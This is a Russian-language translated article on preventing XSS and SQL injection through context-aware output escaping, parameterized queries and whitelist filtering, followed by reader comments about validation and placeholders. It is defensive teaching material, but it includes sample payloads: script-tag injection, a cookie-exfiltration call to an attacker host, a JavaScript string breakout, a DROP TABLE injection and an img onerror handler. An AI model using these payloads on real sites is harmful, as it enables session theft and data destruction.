Время от времени мы слышим в кругу разработчиков разговоры о “санации пользовательского ввода” с целью предотвращения атак с использованием межсайтового скриптинга. Эта техника, хоть и придумана из лучших побуждений, приводит к ложному чувству безопасности, а иногда и искажает совершенно корректный ввод.
Как происходит межсайтовый скриптинг?
Сайт является уязвимым для атак с использованием межсайтового скриптинга (XSS), если пользователи могут вводить информацию, которую сайт дословно повторяет им в HTML-коде той же или других страниц. Это может вызвать как незначительные проблемы (HTML, который нарушает разметку страницы), так и вполне серьезные (JavaScript, который отправляет файл cookie с учетными данными пользователя на сайт злоумышленника).
Давайте рассмотрим конкретный пример:
NaiveSite позволяет вам ввести свое имя, которое затем выводится без изменений на странице вашего профиля.
Билли Кид вводит свое имя как
Billy <script>alert('Hello Bob!')</script>
.Любой, кто посещает страницу профиля Билли, получает некоторый HTML-код, включая неэкранированный тег
script
, который в числе прочего обрабатывается его браузером.Если
alert()
изменить на что-то более вредоносное, например sendCookies('https://billy.com/cookie-monster'), то Билли теперь сможет получить учетные данные ничего не подозревающего посетителя.
Примечание: на практике сделать это не так просто, поскольку файлы cookie с учетными данными обычно помечаются как HttpOnly, что означает, что они недоступны для JavaScript. Но это достаточно примитивный NaiveSite, так что, скорее всего, если разработчики допустили XSS-ошибку, то и о защите cookie они тоже не позаботились.
Почему фильтрация входных данных — не самая лучшая идея
Итак, разработчик узнает о “фильтрации входных данных” или “санации ввода”, поэтому он пишет код для удаления небезопасных HTML-символов <>&
из имени перед его сохранением. Дело сделано!
Но с этим есть две проблемы. Например, на NaiveSite может зарегистрироваться пара как Bob & Jane Smith, но код фильтрации удаляет &
, и вдруг Боб оказывается сам по себе, со вторым именем Джейн.
Или если фильтр чуть поусерднее и также удаляет '
и"
, кто-то вроде Билла О’Брайена становится Биллом ОБрайеном. Искажать имена людей - плохая практика.
Этот метод, что более важно, дает ложное чувство безопасности. Что здесь значит “небезопасно”? И в каком контексте? Конечно, <>&
являются небезопасными символами в контексте HTML, но как насчет CSS, JSON, SQL или даже shell-скриптов? У них совершенно другой набор небезопасных символов.
Например, NaiveSite может иметь PHP-шаблон, который будет выглядеть следующим образом:
<html>
...
<script>
var name = "<?=$name?>";
</script>
Если злоумышленник укажет свое имя с двойными кавычками, например "; badFunc(); "
, то он сможет запускать произвольный JavaScript на любых страницах NaiveSite, отображающих имя пользователя (к которым, если вы залогинились, вероятно, относятся все страницы).
Еще одним хорошим примером такого рода проблем является SQL-инъекция - атака, тесно связанная с межсайтовым скриптингом. NaiveSite работает на базе MySQL и находит пользователей следующим образом:
$query = "SELECT * FROM users WHERE name = '{$name}'"
Если мальчик по имени Robert'); DROP TABLE users; решит посетить ваш сайт, то вся база данных пользователей NaiveSite будет удалена в мгновение ока. Упс!
Между прочим, мать в комиксе xkcd говорит: “А я надеюсь, что вы научитесь санировать данные перед вводом в базу данных”. Это несколько сбивает с толку, но я не буду так уж строг к Рэндаллу и предположу, что он имел в виду “экранировать параметры вашей базы данных”.
Короче говоря, нет смысла отсеивать “опасные символы”, потому что некоторые символы опасны в одном контексте и совершенно безопасны в другом.
Вместо этого экранируйте ваш вывод
Единственный код, который знает, какие символы опасны, — это сам код, который выводится в заданном контексте.
Таким образом, лучший подход состоит в том, чтобы дословно сохранить любое имя, которое вводит пользователь, а затем использовать HTML-экранирование системы шаблонизации при выводе HTML или правильно экранировать JSON при выводе JSON и JavaScript.
И, конечно же, используйте функции параметризованных запросов вашего SQL-движка, чтобы он правильно экранировал переменные при построении SQL:
$stmt = $db->prepare('SELECT * FROM users WHERE name = ?');
$stmt->bind_param('s', $name);
Иногда это называют “контекстным экранированием”. Если вам доведется использовать пакет Go html/template, то в нем вы получите автоматическое контекстное экранирование для HTML, CSS и JavaScript прямо из коробки. Большинство других систем шаблонизации обеспечивают автоматическое экранирование хотя бы HTML, как например шаблоны React, Jinja2 и Rails.
Но что, если вам нужны необработанные входные данные?
Давайте рассмотрим более интересную ситуацию — когда вашему приложению нужно позволять пользователю вводить HTML или Markdown для дальнейшего отображения. В этом случае вы не можете прибегнуть к экранированию при рендеринге вывода, потому что вся суть заключается в том, чтобы позволить пользователям добавлять ссылки, изображения, заголовки и т. д.
Поэтому вам нужно использовать другой подход. Если вы используете Markdown, вы можете:
Разрешить пользователю вводить только чистый Markdown и преобразовывать его в HTML при рендеринге (многие Markdown-библиотеки по умолчанию разрешают использование сырого HTML; обязательно отключите эту возможность). Это наиболее безопасный вариант, но и более рестриктивный.
Разрешить пользователю использовать HTML в Markdown, но только определенный список (вайтлист) разрешенных тегов и атрибутов, таких как
<а href="...">
и<img src="...">
. Например, Stack Exchange и GitHub придерживаются этого второго подхода.
Если вы не используете Markdown, но хотите, чтобы ваши пользователи могли напрямую вводить HTML, то для вас остается доступным только второй вариант — вы должны реализовать фильтр на основе вайтлиста. Сделать это правильно труднее, чем вы думаете (например, <img src="x" onerror="badFunc()">
), поэтому обязательно используйте хорошо проверенную с точки зрения безопасности библиотеку как, например, DOMPurify.
Поэтому в тех случаях, когда вам нужно “транслировать” необработанный пользовательский ввод, тщательно фильтруйте ввод на основе ограничительного вайтлиста и сохраняйте результат в базе данных. Когда настанет время вывести его, выведите его как сохранили без какого-либо экранирования.
Параллелью с SQL-инъекциями может быть ситуация, когда вы создаете инструмент для построения диаграмм данных, который позволяет пользователям вводить произвольные SQL-запросы. Возможно, вы захотите разрешить им вводить SELECT-запросы, но не запросы модификации данных. В этих случаях вам лучше всего использовать правильный парсер SQL (как этот), чтобы убедиться, что они правильно формируют SELECT-запросы — но сделать это правильно не так уж и просто, поэтому обязательно делайте проверку безопасности.
Как насчет валидации?
Санация ввода обычно плохая идея, но вот валидация входных данных это хорошо.
Например, когда вы парсите поля формы ввода, и отлавливаете числовое поле, которое не является числом, адрес электронной почты без @
или имеете раскрывающийся список “Статус публикации”, который может быть только чем-либо из “черновик”, “опубликовано”, или “в архиве”, который затем вы во что бы то ни стало проверяете и возвращаете ошибку, если он невалиден.
Хорошая проверка веб-формы указывает на ошибки по мере ввода, чтобы пользователь точно знал, что нужно исправить:
Вы должны выполнять валидацию хотя бы на бэкенде, иначе злоумышленник может обойти валидацию фронтенда и сделать POST-запрос с вредоносными данными на вашу конечную точку напрямую. Кроме того, вы также можете выполнить раннюю проверку во фронтенде, чтобы отображать ошибки в режиме реального времени, без необходимости обращения к серверу.
Что еще можно почитать по теме
На OWASP есть две прекрасных шпаргалки Cross Site Scripting Prevention и SQL Injection Prevention, которые содержат много дополнительной информации о экранировании.
Также есть ответ на StackOverflow на вопрос “How can I sanitize user input with PHP?” с некоторой PHP-спецификой, но я нашел его достаточно лаконичным и полезным. Он ссылается на страницу на PHP magic quotes, которые были в целом плохой идеей и фактически были удалены в PHP 5.4 — обсуждение там очень похоже на то, что я написал выше.
Важно! Под спойлером перевод оригинального текста от автора статьи
Если у вас есть какие-либо отзывы об этой статье, пожалуйста, свяжитесь с нами! Или почитайте комментарии на Hacker News и сабреддите programming.
Я был бы рад, если бы вы спонсировали меня на GitHub – это будет мотивировать меня работать над моими проектами с открытым исходным кодом и писать больше хорошего контента. Спасибо!
Выражаем благодарность @FanatPHP, за рекомендацию данной статьи к переводу.
Также в преддверии старта курса PHP Developer. Professional, делимся с вами записью открытых уроков курса. Узнать подробнее о курсе и посмотреть открытые уроки можно по ссылкам ниже.
Комментарии (22)
Homiakin
25.01.2023 21:26+1В данный момент изучаю Express, по курсу вводят работу с express-validator. Там и валидация и escape() для тела входящего запроса. Это достаточная мера предосторожности для работы с экспресс сервером и нереляционной базой вроде монго? Для SQL базы нужно поверх этого еще sql валидатор использовать?
PS В изучаемом мной материале валидация данных и на стороне клиента и на сервере предполагается обязательной. Был удивлен, что в статье это представляется опцией.Ndochp
25.01.2023 23:33+4Вы же читали статьи про правильную валидацию почты? Ну или хотя бы уверены, что используемая вами библиотека четко проверяет все варианты из RFC 6854 типа
Pete(A nice \) chap) <pete(his account)@silly.test(his host)>
fk0
26.01.2023 01:04+4Поубивать бы таких валидаторов, которые не позволяют user+anything@host.com... По +anything потом прекрасно понятно от кого повалил спам. Но часто валидаторы в ступоре от плюса.
everyonesdesign
27.01.2023 10:47+1Иногда плюс запрещают специально, чтобы не было нескольких аккаунтов на один емейл.
lo0p3r
28.01.2023 10:21В этом, по сути, нет смысла. Если мне очень надо, я просто заведу второе мыло. Просто мне станет чуть-чуть неудобнее. Саму проблему (несколько аккаунтов у одного человека) это не решает. Ну разве что если цель - сделать ведение мультиаккаунтов неудобным.
FanatPHP
26.01.2023 08:28+1Очень хороший вопрос.
Про escape()
Ну вот это как раз та самая глупость, о которой и говорится в статье. Это те грабли, по которым все РНР фреймворки уже прошли, но Express зачем-то решил наступить тоже.В статье прямо говорится, что escape() для тела входящего запроса делать не следует. Именно потому, что ни к с экспресс серверу, ни к базе вроде монго, ни к SQL эта функция никакого отношения не имеет. Она нужна только при выводе данных в HTML контекст. А на вводе ей делать нечего.
Homiakin
26.01.2023 14:17+1Спасибо за развернутые ответы =)
Про искейп понял. До этого думал, что этот метод переводит спецсимволы в юникод, но перечитал статью на MDN и понял, что он их просто вытирает. Там же написано, что эти символы могут быть для cross-site scripting attacks использовано.
Про базы и необходимую доп санацию понятно объяснили, спасибо. Можно поподробней про плейсхолдеры для SQL запросов? Не очень понятно что имеется ввиду и как работает.
PS не уверен, что express-validator это часть экспресса, выглядит как сторонняя мидлвара - лежит на npm, доки на отдельном сайте.FanatPHP
26.01.2023 14:46+1Плейсхолдер, это когда SQL запрос не собирается из статичных частей и переменных, а является полностью статичным. При этом на месте подставляемых переменных в запросе стоят знаки вопроса. Т.е. вместо
'SELECT * FROM persons WHERE PersonId = ' + id
будет
'SELECT * FROM persons WHERE PersonId = ?'
а само значение переменной будет подставлено во время выполнения. А система уже дальше сама обработает переданные переменные как надо, чтобы они не нанесли вреда запросу.
FanatPHP
26.01.2023 08:55+1Про валидацию.
В первую очередь надо понять, что статья не про валидацию вообще. Она она в первую очередь про безопасность. И про логику действий разработчика. А про валидацию — это просто рекомендация. Но, тем не менее, вопрос очень хороший, потому что люди часто путают валидацию с обеспечением безопасности.Так вот, к безопасности валидация не имеет никакого отношения. И с этой точки зрения любая валидация опциональна. Хоть клиентская, хоть серверная.
Валидация — это часть бизнес-логики. И поэтому всегда разная. Это принципиально неформализуемое понятие. Невозможно заранее составить набор правил валидации для любых данных. То есть это такое достаточно неопределенное понятие, используемое для удобства. Это "хорошая" практика, а не обязательная. Безопасность приложения при отсутствии валидации не пострадает.
Говоря о том, что валидация на клиенте является опцией, автор исходит из логики. Из того простого факта, что клиентская валидация вообще ничего не гарантирует, поскольку ее легко обойти.
С точки зрения юзабилити — валидация на фронте скорее обязательна, да. Но статья вообще про это. Так понятнее?Безопасность же, в отличие от валидации — обязательна.
И при обеспечении безопасности никакую валидацию использовать нельзя. У безопасности свои собственные правила, никак на валидацию не завязанные.В частности, при выводе данных в HTML контекст в них необходимо экранировать управляющие символы HTML.
При составлении запроса SQL необходимо соблюдать два основных правила:- Все данные должны попадать в запрос строго через плейсхолдеры
- любые другие элементы запроса, долбавляющиеся в него динамически, должны фильтроваться с использованием явно прописанного списка допустимых значений.
Реализация этих двух правил не обязательно должна быть явной, а может скрываться внутри какого-нибудь хелпера, но в конечном итоге составление запроса должно строго им следовать.
Теперь, я думаю, вы можете самостоятельно ответить на свой вопрос,
Для SQL базы нужно поверх этого еще sql валидатор использовать?
vkni
Вообще, занятно: получается, что проблема во всех этих инъекциях из-за того, что мы передаём код на языке SQL в виде строки, а не в виде AST. Если, скажем, формировать запрос в виде:
и инжектировать прямо в движок базы данных, минуя парсер базы данных, то эти SQL инъекции автоматом станут безопасны.
miksir
Именно это и делают плейсхолдеры, когда prepared statements поддерживаются на уровне базы
vkni
Я не сомневался, что идею передачи AST в базу данных уже кто-то реализовал. Но, как обычно, назвал своим личным термином.
Но я к тому, что надо бы S-expression ввести в качестве универсального формата общения разных современных ЯВУ. И передавать, разумеется, не в строковом, а бинарном виде. А сейчас всё делается через C.
FanatPHP
Все-таки, подготовленные выражения — это не совсем AST. Или даже совсем не. Это именно что плейсхолдеры, переменные только для данных.
michael_v89
А какая, собственно, разница? Вам все равно надо как-то в этот массив байт подставить значение, введенное пользователем.
Вот есть у вас переменная с нужным значением, а дальше что? Тут проблема не в том, AST это или нет, а в том, что в него подставляются (конкатенируются) данные, которые пришли извне. База все равно будет его как-то интерпретировать и выполнять, хоть с парсингом, хоть без. А именованные переменные это такой механизм протокола обмена, что база знает, что в этом месте пакета данных лежат только данные SQL-запроса, и их не надо выполнять как код.
FanatPHP
Ну не совсем. Это довольно урезанный функционал. Плейсхолдер может заменить только data literal — строковый или числовой. Все остальные части запроса идут как есть
Tatikoma
Раздельная передача запроса и данных не обязательно использует prepared statements. Плейсхолдеры могут работать и без prepared statements. Например pg_query_params так работает.
FanatPHP
pg_query_params — это просто обертка :)
Хелпер. Синтаксический сахар.
Но внутри у нее тот же самый подготовленный запрос :)
Tatikoma
Нет, под капотом вызов PQexecParams. Подготовленный запрос при этом не используется.
Tatikoma
https://github.com/php/php-src/blob/master/ext/pgsql/pgsql.c#L1114
FanatPHP
Да прочитал я уже в документации. Да, формально PQexecParams — это не подготовленный запрос. Надо взять себе за правило использовать слово параметризованный, чтобы не становиться объектом таких придирок.
FanatPHP
Я извиняюсь за обиженный тон в предыдущем комментарии. Вы совершенно правы, формулировки должны быть точными. Даже если с точки зрения конечного пользователя разницы и нет. Надо было с самого начала говорить про параметризованные запросы, чтобы разночтений не возникало.
FanatPHP
Главное достоинство SQL, позволяющее ему быть на коне уже десятки лет, когда почти все современные ему языки уже канули в лету — это лаконичность и читабельность. которые такой отправкой будут полностью уничтожены.
Но некоторой альтернативой являются различные QueryBuilders